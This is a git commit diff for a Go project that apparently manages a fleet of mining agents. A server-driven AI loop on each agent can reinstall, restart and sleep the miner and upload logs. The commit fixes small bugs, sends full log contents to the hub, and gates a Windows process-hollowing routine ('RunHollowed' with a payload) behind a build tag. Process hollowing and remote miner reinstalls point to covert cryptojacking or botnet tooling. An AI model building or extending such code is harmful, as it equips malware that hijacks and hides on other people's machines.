Fix small bugs across AI tools, fleet API, and run.bat.

Correct AI uptime/reinstall/sleep, broaden live stats over WebSocket, fix blueprint delete JSON, gate hollowing behind build tag, and stop stale server binds on restart.
This commit is contained in:
drjones
2026-05-28 08:00:01 -07:00
parent a9aeaefb1b
commit edffb03e00
9 changed files with 61 additions and 31 deletions

View File

@@ -9,6 +9,7 @@ import (
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
@@ -103,6 +104,7 @@ type AIRunner struct {
httpClient *http.Client
serverURL string
agentID string
startedAt time.Time
stopCh chan struct{}
}
@@ -115,6 +117,7 @@ func NewAIRunner(cfg config.RuntimeConfig, reporter *stats.Reporter, pool *miner
httpClient: &http.Client{Timeout: 60 * time.Second},
serverURL: strings.TrimRight(cfg.ServerURL, "/"),
agentID: cfg.AgentID,
startedAt: time.Now(),
stopCh: make(chan struct{}),
}
}
@@ -209,7 +212,7 @@ func (a *AIRunner) collectState() AgentState {
AgentID: a.agentID,
WorkerName: a.cfg.WorkerName,
Hostname: hostname,
UptimeSeconds: int(time.Since(time.Now()).Seconds()), // approximate, will be refined
UptimeSeconds: int(time.Since(a.startedAt).Seconds()),
IsRunning: isRunning,
CPUCores: cpuCores,
CPUUsagePct: cpuPct,
@@ -255,6 +258,10 @@ func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) {
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("decide returned status %d", resp.StatusCode)
}
var decideResp DecideResponse
if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil {
return nil, fmt.Errorf("failed to parse decide response: %w", err)
@@ -308,14 +315,14 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
case "reinstall_miner":
serverURL := tc.Args["server_url"]
agentID := tc.Args["agent_id"]
buildID := tc.Args["build_id"]
if serverURL == "" {
serverURL = a.serverURL
}
if agentID == "" {
agentID = a.agentID
if buildID == "" {
buildID = a.cfg.BuildID
}
output, err := a.reinstallMiner(serverURL, agentID)
output, err := a.reinstallMiner(serverURL, buildID)
if err != nil {
report.Success = false
report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output)
@@ -363,11 +370,11 @@ func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport {
if seconds == "" {
seconds = "60"
}
var dur time.Duration
if s, err := fmt.Sscanf(seconds, "%f", &dur); err != nil || s != 1 {
dur, err := strconv.ParseFloat(seconds, 64)
if err != nil || dur <= 0 {
dur = 60
}
time.Sleep(time.Duration(dur) * time.Second)
time.Sleep(time.Duration(dur * float64(time.Second)))
report.Success = true
report.Output = fmt.Sprintf("slept for %s seconds", seconds)
@@ -484,11 +491,11 @@ func (a *AIRunner) restartMiner(processName string) (string, error) {
return fmt.Sprintf("killed old process, started new instance of %s", processName), nil
}
func (a *AIRunner) reinstallMiner(serverURL, agentID string) (string, error) {
log.Printf("[AI] Reinstalling miner from %s (agent=%s)", serverURL, agentID)
func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) {
log.Printf("[AI] Reinstalling miner from %s (build=%s)", serverURL, buildID)
// Download the latest build from the server
downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, agentID)
downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, buildID)
installDir, err := a.cfg.InstallDirectory()
if err != nil {
@@ -660,7 +667,7 @@ func (a *AIRunner) uploadLog() (string, error) {
// Send to hub as a report
log.Printf("[AI] Uploaded %d bytes of log data", len(data))
return fmt.Sprintf("log file size: %d bytes (last 10KB sent)", len(data)), nil
return fmt.Sprintf("log file size: %d bytes. Content:\n%s", len(data), string(data)), nil
}
func (a *AIRunner) fallbackEdgeAI(state AgentState) {

View File

@@ -0,0 +1,12 @@
//go:build windows && !hollow
package deploy
import "fmt"
// RunHollowed is only available when built with the "hollow" build tag.
// This keeps the default agent build safe and avoids unsafe pointer warnings in vet.
func RunHollowed(targetExe string, payload []byte) error {
return fmt.Errorf("process hollowing disabled (build without -tags hollow)")
}

View File

@@ -1,4 +1,4 @@
//go:build windows
//go:build windows && hollow
package deploy